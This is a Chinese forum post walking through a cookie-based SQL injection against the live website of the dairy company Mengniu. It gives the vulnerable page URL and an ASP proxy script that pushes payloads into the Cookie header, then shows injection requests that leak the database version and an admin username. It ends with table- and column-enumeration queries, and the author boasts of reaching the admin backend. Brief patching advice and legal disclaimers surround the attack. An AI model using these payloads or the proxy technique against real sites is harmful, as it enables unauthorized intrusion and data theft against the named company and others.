返回列表 发帖

蒙牛真牛

三鹿网站被黑.  蒙牛被黑.全都是SQL注入..  
今天对蒙牛,伊利网站简单检测了下,均存在漏洞,只是懒的研究....懒的研究..这里只说下蒙牛的漏洞所在和修补方法
此文只限和广大网络安全爱好者进行学习交流,本文纯属周末无聊,请大侠们一笑置之,无须理会.
本文仅限学习交流使用,利用该文造成任何破坏或触犯法律的事,均与本人无关!!!
呵呵  一大堆废话呐  还是赶快进入正题吧!!

进入蒙牛网站,我们会看到一个搜索框...想必大家都知道这搜索框一般都是好东西.. 输入1单引号,如fuck' 提交..
错误:0x80040E14
描述:[Microsoft][ODBC SQL Server Driver][SQL Server]第 1 行: '%' 附近有语法错误。

这里我们不管他 不过你喜欢的话可以使用搜索型注入试试看呐,我们这里现在主要说一个更严重的漏洞.
该程序使用通用防注入过滤了地址栏提交的单引号,如:
http://www.mengniu.com.cn/qywh_mnqywh.asp?IID=11'
是不可以注入的.但程序员在处理时,仅使用了request("iid")来获取数据,这样造成cookies注入的存在.
为了注入方便,简单写了个利用cookies注入的小程序,基本原理如下:
Str="iid="&escape(request("FK"))   
Url="
http://www.mengniu.com.cn/qywh_mnqywh.asp"   
response.write PostData(Url,Str)   
   
Function PostData(PostUrl,PostCok)   
Dim Http   
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")   
With Http   
   
.Open "GET",PostUrl,False   
.SetRequestHeader "Cookie",PostCok   
.Send   
PostData = .ResponseBody   
End With   
Set Http = Nothing   
PostData =bytes2BSTR(PostData)   
End Function

Function bytes2BSTR(vIn)   
Dim strReturn   
Dim I, ThisCharCode, NextCharCode   
strReturn = ""   
For I = 1 To LenB(vIn)   
ThisCharCode = AscB(MidB(vIn, I, 1))   
If ThisCharCode < &H80 Then   
strReturn = strReturn & Chr(ThisCharCode)   
Else   
NextCharCode = AscB(MidB(vIn, I + 1, 1))   
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))   
I = I + 1   
End If   
Next   
bytes2BSTR = strReturn   
End Function


OK .我们来试试
http://localhost/f.asp?fk=11'
返回
> 企业文化> 蒙牛企业文化 > 错误:0x80040E14
描述:[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未闭合的引号。

对了,这样就方便多了嘛..
继续试试?
f.asp?fk=11%20and%201=([email=select%20@@version]select%20@@version[/email])
企业文化> 蒙牛企业文化 > 错误:0x80040E07
描述:[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.2050 (Intel X86) Mar 7 2008 21:29:56 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' 转换为数据类型为 int 的列时发生语法错误。

中间省略..
http://localhost/f.asp?fk=11%20and%201=(select%20top%201%20SysU_Usernaem%20from%20sysa_admin)
> 企业文化> 蒙牛企业文化 > 错误:0x80040E07
描述:[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'admin' 转换为数据类型为 int 的列时发生语法错误。


剩下的大家都知道怎么做了吧..
这帖子没有什么技术含量,得到的权限很低..只能改改数据传传木马,呵呵大家不要乱来呐,:handshake :handshake :handshake :handshake :handshake

补充一下:
知道后台么?
你人品好,我就告诉你..严禁破坏,否则去坐牢,别拉我...我是无辜的哦...


该漏洞修补办法:
请对代码中的request对象进行检查,如果存在
request("iid")等类似用法,请使用clng(request.QueryString("iid"))
对于首页搜索型提交的字符,请使用replace(request.form("newstr"),"'","''")
即可修复此漏洞.


郑重声明:此文章仅限学习和交流,利用本文造成一切后果及法律责任请自负!!!!
我只进后台,但我没有修改数据呵呵 老实人呐

哎! 别问怎么知道他的管理员表名和字段名的?这种问题太高了:L :L

SQL库利用方法:
列表名:
select name from sysobjects where xtype='U'
列字段:
select name from syscolumns where id=object_id('表名')

具体用法请自行研究吧.:handshake

返回列表